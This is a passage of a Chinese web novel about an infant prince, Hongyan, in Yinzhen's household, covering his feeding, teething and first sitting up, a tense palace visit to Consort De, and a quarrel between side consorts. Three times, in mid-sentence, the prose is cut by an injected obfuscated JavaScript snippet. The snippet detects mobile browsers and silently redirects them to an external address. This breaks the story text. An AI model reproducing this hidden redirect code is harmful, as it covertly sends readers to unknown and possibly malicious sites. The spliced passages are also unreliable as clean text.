刚才他怕弘晏以为避尘珠是能吃的东西,才特意拿到弘晏面前来,让他知晓这不是能吃的东西,弘晏瞧清了便也没有再嚷嚷,如今又开始嚷嚷,是因为什么。 胤禛求助的目光看向了乌拉那拉氏。 乌拉那拉氏接收到了胤禛求解答的眼神,可此刻的她也不知道弘晏想表达什么。 弘晏见状,只得用力的扑腾自己的手脚,目光又盯着矮桌的方向看。 将这一切串起来,乌拉那拉氏便明白了弘晏的意思,随即看向一头雾水的胤禛说道:“爷,弘晏是在说他已经表演过翻身了,爷该兑现承诺,喂他喝酸梅汤了。” 弘晏听见了乌拉那拉氏的话,便停止了扑腾手脚的动作,转而乖巧的“啊”了一声。 没错,他就是这个意思。 随即,弘晏又嫌弃起胤禛来,便宜阿玛真笨,幸好有智慧与美貌并存的额娘在。 胤禛恍然大悟,心想弘晏小小年纪,记性倒好,旋即,胤禛吩咐银烛端一碗酸梅汤来,不要冰镇的。 待银烛将酸梅汤端过来,弘晏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143132|164578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却正眼都不瞧,依旧望着乌拉那拉氏面前的那碗冰镇酸梅汤。 他是小,又不是傻。 货不对板,他可不要。 这回,胤禛倒是明白了弘晏的意思,随即开口道:“阿玛答应你喝酸梅汤,可没说给你喝冰镇过的酸梅汤。” 三个月大的奶娃娃,哪里能喝冰凉之物。 弘晏瘪了瘪嘴。 好啊,便宜阿玛给他玩文字游戏。 可是当胤禛拿着调羹舀了一点儿酸梅汤喂到他嘴边时,弘晏还是不争气的张开了小嘴巴。 没事哒,没事哒,没事哒! 不就是不是冰镇的酸梅汤嘛,那咋了? 好歹是他靠自己卖艺挣出来的。 酸梅汤刚送进嘴里,含在舌尖,滑过食道,弘晏整个小脸皱成了一个苦瓜样儿。 酸! 太酸了! 可目睹了一切的胤禛,却哈哈笑起来。 弘晏看着便宜阿玛幸灾乐祸的样子,委屈巴巴的瘪了嘴,不愿意的“嘤嘤”起来。 乌拉那拉氏剜了胤禛一眼,随即将弘晏抱到怀里,又吩咐银烛去兑一碗蜂蜜水来。 她还以为胤禛先前神秘兮兮的是要搞什么名堂呢,却不想是真的喂弘晏喝酸梅汤。 一旁的胤禛收到了自家的福晋的眼刀子,收了脸上的灿烂笑意,摸了摸鼻子解释道:“是这孩子自己要喝的呀。” 乌拉那拉氏眉头一拧,嗔道:“福宝这么小懂什么,要是想喝酒,爷也喂他不成?” 胤禛一时语塞。 这时,银烛端着蜂蜜水走进来了。 乌拉那拉氏拿着调羹舀了一口蜂蜜水自己先尝了尝,蜂蜜水并不烫嘴,现在喝着正好。 随即,乌拉那拉氏又拿着调羹舀了一小勺蜂蜜水喂给弘晏。 弘晏小口小口的吮吸着。 这蜂蜜水好甜啊! 比那酸不拉几的酸梅汤好喝多了。 额娘怎么会喜欢喝酸溜溜的东西呢。 弘晏一边张着口喝,小脑瓜一边思考着。 却不想下一瞬,乌拉那拉氏便不再喂他了。 乌拉那拉氏叫银烛端来蜂蜜水,喂给弘晏喝,只是想压下弘晏嘴里的酸味。 毕竟弘晏太小了,蜂蜜水不宜多喝,若是引起腹泻就不好了。 弘晏喝的正在兴头上,突然没有了,便不乐意了,委屈巴巴的瘪着嘴望着乌拉那拉氏。 这小模样,要多可怜就有多可怜。 连端蜂蜜水的银烛瞧见了,都不忍心了:“福晋,再给小阿哥喂一口吧。” 乌拉那拉氏见着弘晏可怜兮兮的小模样,也着实不忍心,只好又给弘晏喂了一小口。 弘晏见好就收,喝够了就乖乖的窝在乌拉那拉氏怀里。 而胤禛却又开了口:“福宝,现在明白了吧,眼睛看到的东西,并不一定真的是好东西,就算是好东西,也不一定适合你。” 福晋真是不明白他的良苦用心。 听了一番大道理的弘晏:便宜阿玛,你没事吧?(震惊脸.jpg) 同样无语的乌拉那拉氏无奈的望向胤禛:“爷,咱们福宝才三个月大。” 这大道理等弘晏三岁的时候再讲也不迟。 胤禛一本正经道:“寓教于乐嘛。” 弘晏奶呼呼的瞪了瞪胤禛,又在心里愤愤道:便宜阿玛强词夺理,分明就是欺负他懵懂无知,想看他被酸哭。 乌拉那拉氏:“……” 教了谁,她不知道;乐了谁,她却明白的很。 11. 第 11 章 自从摇篮椅里放了避尘珠之后,确实没有再发生蚊虫叮咬弘晏的事件了。 而且乌拉那拉氏夜里起来查看的时候,发现弘晏这小家伙睡得香甜着呢。 弘晏也发现自他出生以后,便宜阿玛来正院的次数越来越频繁了,而且阿玛与额娘两个人的关系,好像也慢慢亲密起来了。 有好几回因着便宜阿玛要留宿在正院,还让王乳娘趁着他熟睡的时候,把他抱到了隔壁的耳房里,一个人霸占着额娘。 没办法,谁让他还是一个吃奶的娃娃呢。 —— 转眼间,暑去凉来,和风习习。 雍亲王府园子里的桂花飘香,一阵风吹过,那树上的桂花就像雨似的纷纷扬扬的往下落。 乌拉那拉氏让人去园子里摘桂花回来做成桂花蜜,不一会儿的功夫,正院里满是桂花的清香味道。 因着屋内的窗户有缝隙,小榻上的弘晏闻到了这甜丝丝的味道,便待不住了,两只眼睛眼巴巴的望着外面。 乌拉那拉氏见状,只好抱着弘晏出去瞧热闹。 小家伙一出屋子,便高兴极了,两只眼珠骨碌骨碌的转,小脑袋更是四处张望,看什么都觉得新鲜。 乌拉那拉氏从放置在长条案上的笸箩里拿起一个桂花放到弘晏鼻子下,问道:“福宝闻闻,香不香啊?” 回答乌拉那拉氏的是一声稚嫩乖巧的“啊。” 不光乌拉那拉氏,院子里的奴才们听了都笑了。 看了一会儿做桂花蜜的工序,弘晏的眼皮子就耷拉下来了,乌拉那拉氏便抱着弘晏又回了屋子。 等弘晏睡着以后,乌拉那拉氏便将弘晏放到了摇篮椅里,自己坐回到小榻上,去看雍亲王府的花销账目、庄子里的管事上报的账本以及她名下几家铺子的流水。 乌拉那拉氏这一看,便是一个多时辰。 摇篮椅里的弘晏已经睡醒了,见自己额娘正忙着便没有出声,而是自己尝试着坐起来。 只不过,毫无疑问的失败了。 弘晏看了看自己白白胖胖藕节似的小胳膊,感叹额娘将他喂养的太好了,他的骨头本就软软的使不上劲,如今小小的身子又都是肉肉,增加了他成功坐起来的难度。 他天天这么躺着,早就无聊透顶了。 如今坐都坐不起来,什么时候才能会走会跑啊。 弘晏不得不感慨,人类幼崽的生长速度真是太缓慢了,不像他们玉兔精,生下来几天就会走会跳了。 如果是像他一样聚天地灵气孕育而生的玉兔精,直接就会走会跳了。 回忆过往昔的光辉岁月,弘晏重新开始尝试着坐起来,不过还是失败了。 哎呀,好累啊! 光是这几次尝试着坐起来,就已经耗费了他所有的精力了。 王乳娘一直在摇篮椅旁边守着,是瞧见了弘晏睡醒却没有吵闹,而是自己尝试着坐起来,便安安静静的没有出声干扰。 如今,见弘晏尝试了几次都失败了,而且也没有了力气,便将弘晏从摇篮椅里抱了出来。 “啊啊。” 坐没坐起来,费了浑身的力气不说,现下肚子又饿了。 弘晏真是自己都佩服自己了。 这厢,乌拉那拉氏的几本账目都看的差不多了,听到了弘晏发出声音,连忙抬眼看去,便瞧见弘晏已经在王乳娘怀里了,便笑道:“福宝,睡醒了呀。” 王乳娘见状,出声道:“福晋,六阿哥应当是饿了。” 乌拉那拉氏闻言,连忙叫王乳娘将弘晏抱过来,随即进了内室给弘晏喂奶。 弘晏大口大口的吮吸着,倒是引起了乌拉那拉氏的困惑:“今个儿,怎么吃的这么急啊?” 不远处的王乳娘闻言,出声解释道:“六阿哥醒后,自己在尝试着坐起来,应是费了力气了。” 正卯足劲吃奶的弘晏霎时间顿住了:完蛋,有人见证了他失败的全过程。 算了,多吃两口奶,给自己一个安慰吧。 乌拉那拉氏听了王乳娘的话,只笑道:“福宝不着急,慢慢来。” 弘晏比起大多数的孩子,聪明又乖巧,已经让人省心多了。 弘晏嘴里吃着奶,心里却想道:那可不行,从哪里躺下,他就从哪里坐起来。 此后的几天里,弘晏没事儿就尝试着坐起来,功夫不负有心人,他终于成功的坐起来了。 芜湖! 亲眼瞧见这一幕的乌拉那拉氏可是激动的不行,抱起弘晏,在小脸蛋儿上啵啵亲了好几下:“福宝真厉害,才将将四个月就会坐起来了。” 弘晏听了自家额娘毫不吝啬的夸奖,咯咯的笑起来。 这时,胤禛迈步走了进来:“什么事儿这么高兴啊?” 刚走到廊下的台阶,他便听见这屋子里传出的欢笑声了。 乌拉那拉氏连忙跟胤禛分享自己的喜悦心情:“爷,咱们福宝会坐起来了。” 一旁的王乳娘也是笑得眼睛眯成了一条缝。 胤禛听罢乌拉那拉氏的话,先是一愣,而后将弘晏从乌拉那拉氏怀里抱出来,放倒在小榻上。 “福宝,咱们坐起来,给你阿玛瞧瞧。”乌拉那拉氏的话里是藏不住的高兴,甚至还有些得意。 而胤禛看向弘晏的眼神充满了期待。 小小的弘晏就这么静静地躺着,丝毫没有坐起来的打算。 便宜阿玛把他从额娘怀里薅出来,还想看他表演坐起来,哼,这可是另外的价钱。 随着时间的流逝,屋子里刚才还欢欢喜喜的气氛已然安静了下来,甚至还有点尴尬。 乌拉那拉氏见状,笑着出声打圆场:“福宝应当是累了。” 胤禛见状,也没有再说什么,只是那黑曜石一般的眸子里,快速划过一丝失落。 随即,胤禛又自我安慰起来。 无妨,来日方长。 —— 两日后,正院内。 暮色四合之时,乌拉那拉氏用完晚膳,去了内室给弘晏喂奶,胤禛则去了净室沐浴更衣。 乌拉那拉氏正一脸欣慰的看着怀里的小人儿,忽而惊呼一声,疼的她倒吸一口凉气。 “嘶——” 而正在吃奶的弘晏,反应过来自己做了什么之后,也吓得松了口。 他长牙了,而且牙龈有些痒,还不受他自己控制的咬了额娘。 怎么办?! 乌拉那拉氏看着怀里呆呆的弘晏,也顾不上疼,开始哄道:“额娘没事,福宝别怕。” 乌拉那拉氏虽然笑着哄了弘晏一会儿,可弘晏却没再张口了。 乌拉那拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143133|164578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 氏想着弘晏应该吃饱了,也或许是被自己的惊呼声吓到了,就没有再坚持,而是将盘扣系好后,抱着弘晏在屋子里来回踱步,嘴里还哼着摇篮曲儿,要将弘晏哄睡。 弘晏有心事,自然睡不着,可他也不想额娘再费神哄他,便配合的闭上了眼睛。 胤禛沐浴更衣回来,见乌拉那拉氏怀里的弘晏已然睡着了,便叫王乳娘抱着弘晏去隔壁的耳房睡。 正在假寐的弘晏得知自己又被转移,在心中无奈道:这流程,他熟。 内室的门“咯吱”一声合上,屋子里只剩下了乌拉那拉氏与胤禛两个人。 随即,胤禛大手一伸,将乌拉那拉氏揽进怀里,转而又抬起手解开了乌拉那拉氏寝衣上面的盘扣。 衣衫尽褪,只见那雪白滑嫩的肌肤。 而胤禛借着屋内昏黄的烛光发现了什么,转而问道:“福晋,这是?” 乌拉那拉氏顺着胤禛的视线望了一眼,有些不好意思:“是福宝,那小家伙长牙了。” 胤禛了然,随即俯下身去,在那处落下蜻蜓点水般的一吻。 乌拉那拉氏反应过来胤禛做了什么后,一张脸红透了,那红晕更是直接蔓延到了耳根子后面。 胤禛有几年没瞧见过乌拉那拉氏这般羞臊的模样了,倒让他回想起了刚成婚的那几年,喉结滚动,眸子里更多了几分柔情与欲望。 这夜,正院抬了两回水。 —— 翌日晨光熹微,胤禛便起身梳洗,而后进宫上朝去了。 乌拉那拉氏醒来后,梳洗过的第一件事情就是给弘晏喂奶,可任凭她怎么哄,弘晏都不愿意张口。 乌拉那拉氏见状,只得让王乳娘试一试,却不想弘晏还是同样的不张口。 没法子,乌拉那拉氏只能先让流萤热了羊奶,用调羹喂给弘晏。 不成想,这小家伙倒是喝羊奶喝的香甜。 用热羊奶喂了两天以后,乌拉那拉氏想着弘晏这般小,应该把那一日的事情给忘了,便又将盘扣解开喂弘晏喂奶,没想到弘晏还是死/活都不张口。 乌拉那拉氏都要愁/死了。 彼时,她以为弘晏是被她的一声惊呼给吓住了,就想着先用羊奶喂着,等弘晏忘了,便也就好了。 可这孩子才四个月,哪能不喝奶水呢。 乌拉那拉氏顾不得那么多的避讳了,命银烛将柳从南叫来,简单讲了一下事情的经过。 柳从南听罢,沉默片刻后,只道:“福晋,奴才以为小阿哥并非是被您吓到了,而是心疼您,有道是母子连心,您受了疼痛,小阿哥自然过意不去。” 弘晏在心中感叹:这柳从南确实有些本事,竟然能猜到他的真实想法。 如今,他才刚开始长牙,便控制不住自己咬了额娘,以后再长牙齿,那牙龈发痒的频率会大大增加,咬东西的力量也会越来越大,更加不受他自己控制。 所以,为了避免咬伤额娘,他还是不要喝奶水了。 这两天喝羊奶,感觉也不错。 乌拉那拉氏听罢柳从南的话,一时间心情复杂的很。 这孩子这般小就知道心疼她,她自然是欢喜,可因为这个弘晏就拒绝喝奶,岂不是太过委屈自己了。 乌拉那拉氏愁苦道:“福宝才四个月,哪能就断奶呢?” 12. 第 12 章 哪里有四个月大就断奶的小娃娃呢。 乌拉那拉氏看向弘晏的眼神充满了怜爱。 可弘晏发觉自己额娘的视线后,反而小嘴一扬,露出了一个大大的微笑。 别说是乌拉那拉氏了,就是柳从南瞧见这一幕,一颗心都要被弘晏萌化了。 柳从南随即拱手道:“福晋,奴才已然给小阿哥检查过了,小阿哥虽然说这两天喝的是羊奶,但身子非常康健,并无不妥之处。” 民间的老百姓日子过得清苦的,以米糊来喂养婴儿的也不在少数,只是小阿哥金贵,用奶水来喂养自然是最好的,可如今,小阿哥不肯喝奶水,用羊奶来代替奶水,便是最好的了。 乌拉那拉氏明白柳从南话里的意思,若是弘晏就这般继续喝羊奶也没有什么坏处。 现在看来,也只能这样了。 乌拉那拉氏伸出手指,用指腹轻轻点了点弘晏的小脸蛋儿,语气无奈可又满是宠溺:“你呀,额娘真是拿你没办法。” 弘晏闻言,咯咯直笑。 额娘心疼他,他也心疼额娘啊。 弘晏这一笑,嘴角便有涎水流出,乌拉那拉氏便拿了帕子给弘晏擦干净嘴角流出的涎水。 而弘晏却在此时抬起手,用整个小手掌握住了乌拉那拉的小拇指。 乌拉那拉氏柔柔笑着,手上却不再动了,任由弘晏抱住自己的小拇指。 柳从南见状,默默地退了出去。 —— 到了正午时分,刺眼的太阳高悬于苍穹之上,金黄色的光芒散满大地,微风拂过,斑驳的树影轻轻摇曳,池塘里波光粼粼。 胤禛下值后在前院书房脱下官袍换上常服之后,便直接迈步来了正院。 而正院里的弘晏喝饱了羊奶,正躺在摇篮椅里呼呼大睡。 胤禛见状,忍不住伸出手轻轻捏了捏弘晏肉嘟嘟的小脸蛋儿。 随后,胤禛见梦乡中的弘晏微微皱眉,便赶忙将手收回去,又给弘晏盖好了被子,若无其事的走出了内室。 乌拉那拉氏与胤禛吃完午膳不久,弘晏就醒了。 正坐在小榻上喝茶的胤禛,便见王乳娘抱着睡眼朦胧的弘晏走了出来。 弘晏一瞧见乌拉那拉氏,整个人立马就精神了,开始扑腾着小胳膊,嘴里还“啊啊”的叫着。 他这一觉睡得不太安稳,梦见有怪物要吃他,还要从他的脸颊开始吃,因为他脸上的肉又嫩又滑,但还没等怪物开始吃,那胆小的怪物就被他给吓跑了。 他可是很厉害滴的小玉兔! 不过再厉害的小玉兔现在变成了人,也要香香软软的额娘抱抱啊。 乌拉那拉氏见状,眉眼弯弯,笑着伸展了双手将软软的弘晏抱到了怀里,随即凑上去在弘晏脸上“啵啵”亲了两下。 而和额娘贴贴的小弘晏咯咯笑个不停,嘴角又流出了口水。 乌拉那拉氏发觉后,拿着自己的帕子又给弘晏擦去了涎水。 随后,乌拉那拉氏又叫王乳娘端来半碗羊奶,要拿着调羹喂给弘晏,也就是在这个时候,乌拉那拉氏将弘晏不肯喝奶水,以后改喝羊奶的事情告诉了胤禛。 胤禛得知弘晏喝羊奶也是柳从南的意思,便没有再多说什么。 柳从南的医术,他自然信的过。 片刻后,胤禛又想起了另外一件事情,那一双黑眸便落在了弘晏身上:“弘晏会坐起来已经有些日子了,我这个做阿玛的却不曾亲眼见过。” 酸溜溜的话音落下,胤禛将手中的茶盏也放回到了矮桌上。 躺在额娘怀里正美美喝羊奶的弘晏开启了屏蔽模式,自动忽略了胤禛的话。 乌拉那拉氏闻言,笑道:“爷急什么,等咱们福宝喝饱了,自然就会自己坐起来了。” 胤禛佯装不在意,轻哼一声:“谁急了?” 乌拉那拉氏笑而不语,继续拿着调羹一点儿一点儿的喂给弘晏,最后又拿着软帕,将弘晏嘴角的一圈奶渍给擦干净了。 乌拉那拉氏将怀里的弘晏平放到了小榻上,想着弘晏一会儿就该自己坐起来了。 而口嫌体正直的胤禛,余光却一直注意着弘晏的动静。 可这小家伙吃饱喝足了,就一动也不动的躺着,可谓是安静极了。 随着时间流逝,茶盏里的茶汤由温热逐渐变凉,胤禛将茶盏里的最后一口茶水饮下,便站起身回前院书房处理公务去了。 而乌拉那拉氏刚将胤禛送出去,一扭脸就瞧见榻上的弘晏已然坐起来了。 乌拉那拉氏见状,有些哭笑不得。 胤禛还真是走的早不如走的巧。 —— 绿油油的嫩叶子染上了金灿灿的黄,日子转而来到了八月十五,中秋佳节。 按照规矩,康熙在乾清宫中设宴,胤禛与乌拉那拉氏需要入宫赴宴,而府内的庶务便暂且交由李侧福晋打理。 临行前,乌拉那拉氏抱着弘晏,不舍得松开手。 自弘晏出生以后,她还没有离开过小家伙。 在胤禛的再三催促之下,乌拉那拉氏抱着弘晏亲了又亲,才恋恋不舍的交给了王乳娘。 王乳娘抱着弘晏,笑呵呵的对着乌拉那拉氏道:“福晋放心,奴婢会看照好小阿哥的。” 乌拉那拉氏将稳重些的流萤一并留下来照顾弘晏,转而带着银烛一起进宫去。 到了皇宫门前,胤禛先行下了马车,而后贴心的扶着乌拉那拉氏踩着红木矮凳下来,夫妻俩先往永和宫去拜见德妃。 胤禛与乌拉那拉氏穿过长街,踏进永和宫内,机灵的小宫女已然迈步入正殿禀报了。 虽然隔着一扇门,但是立在院子里的胤禛和乌拉那拉氏可以清晰的听见里面传出来的欢笑声。 不用进去,胤禛就知道一定是老十四夫妇在。 下一瞬,小宫女迈步出来做了个“请”的手势。 胤禛与乌拉那拉氏同时迈步进去给德妃请安。 “儿子/儿媳给额娘请安。” 上方的德妃闻此言,悠悠端起青花缠枝茶盏,抿了一口茶汤,而后又将茶盏放回到矮桌上,用帕子擦了擦唇角,才不紧不慢的说道:“坐吧。” 德妃的话音落下,两个小宫女便搬着绣墩放到了胤禛与乌拉那拉氏身后。 胤禛与乌拉那拉氏一进来,便感觉到正殿内的气氛安静了下来,不过他们夫妇二人也习以为常了。 十四福晋完颜氏率先开口打破了屋子的平静,寒暄道:“我瞧着四嫂生完孩子之后,气色瞧着倒是比之前好多了,整个人都年轻了不少呢。” 乌拉那拉氏听罢,嘴角噙着笑意:“我气色再好也比不过十四弟妹你正值锦瑟华年啊。” 十四福晋听了这话,回以一笑。 而德妃的眼神也落在了乌拉那拉氏身上。 完颜氏说的话并不是恭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143134|164578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 维,乌拉那拉氏整个人红光满面,瞧着确实比从前年轻了许多,且今日这一身藤萝紫绣海棠纹的蜀锦旗装更衬得她美艳,那发间的步摇下镶嵌着珍珠的流苏缓缓摆动,流光溢彩间,熠熠生辉。 德妃掩下心中思绪,完颜氏这句话倒是提醒了她。 随即,德妃开口问道:“弘晏那孩子怎么没带来,我这个做玛嬷的,还未曾见过他。” 乌拉那拉氏闻言,恭敬的敛眸回道:“额娘,弘晏太小了,待他再大些,儿媳便带他来给您请安。” 德妃这一提起弘晏,乌拉那拉氏心里便有些想孩子了。 德妃对乌拉那拉氏的回答并不满意,眼尾一挑,目光中没有慈爱反而带着几分犀利:“弘晏那孩子不是由你亲自喂养吗?” 当初她得知了康熙竟然打破祖制,答应胤禛让乌拉那拉氏亲自喂养弘晏时,那心里酸涩极了。 她的几个孩子,除了胤禛一出生就养在孝懿皇后膝下,其他几个都是由她亲自抚养的,可即使这般,她不曾也不敢提出亲自喂养。 乌拉那拉氏闻言,感受到了德妃说话的声音里带着几分愠色,但面上依然恭敬的回答道:“禀额娘,弘晏确实是由我亲自喂养的,可前些日子弘晏说什么也不愿意喝奶水了,妾身问过府医之后,便改用了羊奶来喂养。” 乌拉那拉氏话音落下,不待德妃开口,一旁的十四阿哥胤禵先笑了出来,随即悠悠道:“四嫂就算不愿将弘晏带来,也不必编这等谎话吧。” 真把他们都当成傻子糊弄了。 乌拉那拉氏闻此言,眉头微颦:“十四弟,我说的都是实话,你若不信,可去雍亲王府一看。” 胤禵见乌拉那拉氏这般模样,懒散的样子收了几分,说话的语气正经多了:“四嫂,我随口一说,何必生气呢。” 胤禵说完,眼睛一抬,又看向了乌拉那拉氏身旁的胤禛,缓缓道:“只是像弘晏这般古怪的孩子,当真是少见。” 胤禵的话音刚落地,胤禛的眼刀子便扫了过去:“古怪?奶水也好,羊奶也罢,都是婴儿果腹之物,亦是常见之物,何怪之有?倒是六岁还尿床的孩子,才当真是少见。” 随着胤禛的话音落下,乌拉那拉氏拿起帕子来掩唇,以遮住扬起的嘴角。 正殿内站着不少宫女,胤禛字字清晰,想必都被听了去,胤禵一时间又气又窘:“老四,你……” 不待胤禵说完,德妃便用眼神制止胤禵。 宫里人多嘴杂,有些话胤禵说不得,该她这个做额娘的来出面。 胤禵看懂了德妃的眼神,不服气的住了嘴,幽怨的瞥向胤禛。 德妃视线收回,落在冷着一张脸的胤禛身上,语气温和道:“老四,老十四是你的弟弟,一两句玩笑话而已,你又何必小题大做,揭他的短处。” 小题大做? 胤禛缓缓将眸子抬起,直视着德妃,悠悠开口反问道:“额娘,谁的孩子谁心疼,不是吗?” 四目相对间,胤禛的视线盯的德妃心里发虚。 随即,德妃眸子一闪,将目光移开了。 憋着气的胤禵听了胤禛意有所指的话后,一时间也泄了气。 殿内的气氛越发尴尬,更像是结了一层冰霜。 十四福晋完颜氏见状,笑着开口打圆场:“额娘,儿媳这茶汤都凉了,让人换些吧,听说额娘的小厨房来了一个新厨子,不知道儿媳有没有口福呢。” 13. 第 13 章 有了十四福晋打圆场,正殿的气氛松快多了。 片刻功夫后,宫女们便捧上了新的茶汤与点心。 胤禵与十四福晋用的香甜,胤禛与乌拉那拉氏却是味同嚼蜡。 好在很快胤禛与乌拉那拉氏便随着德妃一同往乾清宫去了。 十三阿哥胤祥夫妇见胤禛与乌拉那拉氏过来,相视一眼便迎上来寒暄起来,胤禛与乌拉那拉氏便也暂时忘记了永和宫中的不愉快。 十四阿哥胤禵夫妇则改步朝着八阿哥胤禩夫妇所在的方位走去。 德妃莲步款款的落坐在宜妃身旁的位置上,下颌一抬,嘴角一扬,而后抬起手扶了扶鬓边的宝蓝点翠珠钗,尽显炫耀之意。 宜妃的余光瞧得清楚,那宝蓝点翠珠钗是前些日子德妃生辰之时,康熙赏下的。 据传言还是康熙亲自戴在了德妃的鬓边。 宜妃敛下思绪,扭过身来,笑着开口问:“德妃妹妹今日光彩照人,不知脸上抹的是什么粉啊?” 德妃闻言,指腹微抬,摸了摸自己的脸颊,眸子里闪烁着得意的光芒,嘴角噙着笑:“也没什么,就是妹妹生辰之时,皇上赏下的珍珠粉,姐姐若喜欢,等家宴结束妹妹便派人给姐姐送去些。” 宜妃听罢,对着德妃左瞧瞧右看看,浅笑道:“这珍珠粉是皇上特意赏给妹妹的,我怎好要呢,不过这珍珠粉果然是极好东西,把妹妹眼尾的皱纹都遮盖住了,若不仔细瞧,还真看不出来呢。” 德妃闻言,脸上笑容一僵,看向宜妃的眼神冷了许多。 宜妃见状,笑得更开怀了:“哟,我这人向来嘴笨,妹妹可别往心里去。” 德妃捏了捏手里的帕子,咬着牙道:“无妨,无妨。” 宜妃目的得逞,收了笑意,将脸扭了回去,不再看身旁的德妃。 一把年纪了,臭显摆什么呀! 装扮的再精致的山鸡,也成不了真凤凰。 待康熙到了乾清宫后,中秋家宴正式开始。 丝竹管弦声起,舞女们宛如彩蝶,身姿轻盈,翩然起舞,面前的桌子上满是美酒珍馐,乌拉那拉氏人是好好的坐着,心思却早已飘到了九霄云外。 她第一次觉得这家宴过得这么漫长。 也不知弘晏这个时候再做些什么? 她不在身边,弘晏有没有乖乖喝羊奶? 有没有哭闹? 有没有睡觉? 胤禛的余光发觉了乌拉那拉氏的异样,抬起筷子夹了一块酱鸭肉,放到乌拉那拉氏面前的碟子里,轻声道:“有乳娘在,福晋不必担忧。” 乌拉那拉氏闻此言,思绪回笼,轻轻点了点头,而后拿起了筷子。 坐在不远处的十四福晋,将这一幕瞧在眼里,又瞥见身旁只顾自己埋头吃喝的胤禵,眸子里流露出几分艳羡和无奈。 身在雍亲王府正院的弘晏,可不知晓乌拉那拉氏的挂念,大口大口的喝饱了羊奶,如今正窝在王乳娘的怀里,由着流萤拿着温热的帕子给他擦脸擦手。 而前院内,李侧福晋已然命人准备好了家宴,其他的格格们均已到场,年侧福晋最后一个到,迈进门槛后,瞧见李侧福晋坐在主位上,什么也没说,兀自坐在了空位上。 胤禛与乌拉那拉氏都不在,李侧福晋便俨然一副主人的模样,端起了架子,滔滔不绝的讲起来。 其余的格格们皆是捧着李侧福晋,不让她的话落在地上,可年侧福晋就没有这么好的耐性了。 一口茶水润喉后,年侧福晋便将茶盏放下,起身扶着桃夭的手,便要离开。 正在兴头上的李侧福晋瞧见了年侧福晋的动静,俊眉微颦,言道:“年妹妹,这是要去哪?” 年侧福晋闻言,停了脚下迈起的步子,却并没有转身的意思,开口道:“我精神不济,该回去歇息了。” 李侧福晋今日风光无限,却被年侧福晋下了脸面,如今年侧福晋竟然还背对着她说话,丝毫不把她放在眼里,一时有些气恼,说话的语气也硬了几分:“爷命我管理府中诸事,年妹妹乏累,也该先请示于我,才可离席。” 李侧福晋此话一出口,围坐在桌子旁的格格们全都眼观鼻鼻观心,谁也不出声。 两位侧福晋又开始斗法了! 年侧福晋闻言,缓缓转过身子,看向端坐在主位上的李侧福晋,开口道:“你我同为侧福晋,李姐姐资历比我深些,实则就是年岁大些,我今日来此,便已经给你脸面了。” 年侧福晋说完,便扶着桃夭的手迈步离开了。 当着这么多人的面,李侧福晋被年侧福晋讽刺年纪大,一张带着精致妆容的脸已然气的铁青。 李侧福晋整个人都在颤抖,片刻后,只听得“啪叽”一声,李侧福晋将手边的茶盏扫落在地。 事情发生的太过突然,有的胆小的格格被吓的惊呼一声,反应过来后,连忙抿住唇,低下头,装作什么都没有发生。 其余的格格们见了这场面,皆找借口起身告辞。 李侧福晋精心准备的中秋家宴,就这样不欢而散。 而宫里的中秋家宴结束时,天色完全暗下来,被漆黑的夜色笼罩,只有那一轮黄澄澄的明月,给寂寥的夜增添了几分温暖。 胤禛与乌拉那拉氏出了皇宫,便坐上马车打道回府。 青石路上十分寂静,只有车轮滚滚向前的声音,因着路上畅通无阻,马车很快便到了雍亲王府门前。 乌拉那拉氏率先踩着红木矮凳下了马车,站稳后没有停留,便脚下生风似的直奔着正院的方向而去。 胤禛知晓乌拉那拉氏的心思,不紧不慢的下了马车,一同往正院去。 乌拉那拉氏踏入正院后,得知弘晏已经熟睡,便放轻了脚步。 乌拉那拉氏走到摇篮椅前,看着那张睡得香甜的小脸儿,嘴角不自觉的上扬,随后俯下身去,亲了亲弘晏的额头。 直到这时,乌拉那拉氏的一颗漂浮不定的心,才真正安稳下来。 胤禛往正院去的路上,被李侧福晋的派出的丫鬟春风截住了路,便先改步去了碧波苑。 碧波苑正屋内,胤禛落坐在主位上,夏婵捧着一盏茶放到胤禛手边,随即退到了一旁侯着。 胤禛看向李侧福晋,还未开口询问有何事要他做主,便见李侧福晋抽出手里的帕子,三分真七分假的哭哭啼啼的告起状来。 胤禛起先还耐着性子听李侧福晋的诉说,明白了事情的来龙去脉之后,心中便添了一丝烦躁,更是抬起手捏了捏自己的眉心。 一旁的苏培盛见状,便知胤禛心里已然有了不悦,再一看,李侧福晋还沉浸在自己的世界里无法自拔,丝毫没有注意到胤禛的情绪变化,便在心里无奈的叹了口气。 屋子陡然安静下来,胤禛缓缓开口:“说完了?” 李侧福晋眼尾还挂着泪珠,闻此言,万般委屈的点了点头。 